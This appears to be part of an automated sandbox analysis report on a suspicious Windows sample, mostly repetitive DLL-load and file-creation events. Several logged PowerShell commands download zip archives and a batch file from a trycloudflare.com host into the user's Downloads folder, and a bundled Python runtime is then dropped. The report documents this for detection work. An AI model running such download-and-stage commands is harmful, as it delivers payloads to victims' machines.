Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: msvcp140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: vcruntime140.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.applicationdata.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: twinapi.appcore.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wintypes.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: windows.storage.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: wldp.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: propsys.dll
Source: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\timeout.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
Source: C:\Windows\System32\rundll32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

barindex
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://verizon-tops-sports-gba.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\py.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\unicodedata.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\select.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libssl-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\zlib1.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_ctypes.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\tk86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libcrypto-3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\sqlite3.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\pyw.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\libffi-8.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\pyexpat.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\winsound.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Launcher\pyshellext.amd64.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_bz2.pydJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\tcl86t.dllJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Downloads\Python\Python312\DLLs\_asyncio.pydJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
